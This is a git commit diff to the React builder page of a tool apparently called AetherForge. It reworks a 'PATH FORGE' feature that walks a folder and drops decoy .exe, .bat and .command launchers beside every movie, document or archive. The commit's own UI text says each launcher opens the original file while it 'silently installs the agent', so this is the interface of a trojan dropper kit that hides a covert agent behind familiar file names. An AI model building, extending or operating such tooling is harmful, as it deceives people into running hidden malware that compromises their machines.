fix(forge): PATH FORGE - preserve original files, drop all 3 companions. UI now explicitly states original is never touched. Results show original (kept) + all placed companions. Both Win+Mac default on so all 3 always drop together.

This commit is contained in:
AetherForge
2026-06-03 01:15:24 -07:00
parent 924070cd82
commit 7f0b20fb26
2 changed files with 20 additions and 11 deletions

View File

@@ -1990,9 +1990,11 @@ export default function BuilderPage() {
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
/>
<p className="form-hint">
For every file found (movies, docs, archives) the server drops a <strong>.bat + .exe</strong> (Windows)
and/or <strong>.command</strong> (Mac) right beside it in the same directory.
The launcher opens the original file normally and silently installs the agent.
For every file found (movies, docs, archives) the server drops <strong>all three companions</strong> right beside it:<br />
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code><br />
<strong style={{ color: 'var(--neon-green)' }}>The original file is never touched.</strong>{' '}
<code>Terminator.mkv</code> stays exactly as-is. The .bat opens it in the default player
and silently runs the agent. The .command does the same on Mac.
</p>
<div className="form-group">
@@ -2036,18 +2038,18 @@ export default function BuilderPage() {
</div>
<span className="form-hint">
{pfStemMode === 'original'
? 'Terminator.mkv Terminator.exe + Terminator.bat'
: `Every file${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`}
? 'e.g. Terminator.mkv Terminator.exe · Terminator.bat · Terminator.command (original untouched)'
: `Every dir ${pfStem || 'VideoPlayer'}.exe · ${pfStem || 'VideoPlayer'}.bat · ${pfStem || 'VideoPlayer'}.command`}
</span>
</div>
<div className="form-group" style={{ flex: '0 0 auto' }}>
<label className="label">Target Platforms</label>
<label className="label">Drop All Three Companions</label>
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
<span style={{ color: '#61dafb' }}> Windows</span>
<span style={{ color: '#555', fontSize: '0.75rem' }}>.bat + .exe</span>
<span style={{ color: '#555', fontSize: '0.75rem' }}>.exe + .bat</span>
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
@@ -2055,6 +2057,9 @@ export default function BuilderPage() {
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
</label>
</div>
<span className="form-hint" style={{ color: '#888' }}>
Keep both on all 3 files drop next to every original (recommended)
</span>
</div>
</div>
@@ -2081,10 +2086,14 @@ export default function BuilderPage() {
: `${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
</p>
{pfResult.results.slice(0, 20).map((r, i) => (
<div key={i} style={{ marginBottom: '0.2rem', color: '#aaa' }}>
<span style={{ color: '#ddd' }}>{r.source}</span>
{' → '}
<span style={{ color: 'var(--neon-cyan)' }}>{r.files.join(' ')}</span>
<div key={i} style={{ marginBottom: '0.35rem', color: '#aaa', lineHeight: 1.5 }}>
<span style={{ color: '#666' }}>📄 </span>
<span style={{ color: '#888' }}>{r.source}</span>
<span style={{ color: '#444' }}> (kept)</span>
<br />
<span style={{ paddingLeft: '1.5rem', color: 'var(--neon-cyan)' }}>
{'↳ '}{r.files.join(' · ')}
</span>
</div>
))}
{pfResult.results.length > 20 && (

Binary file not shown.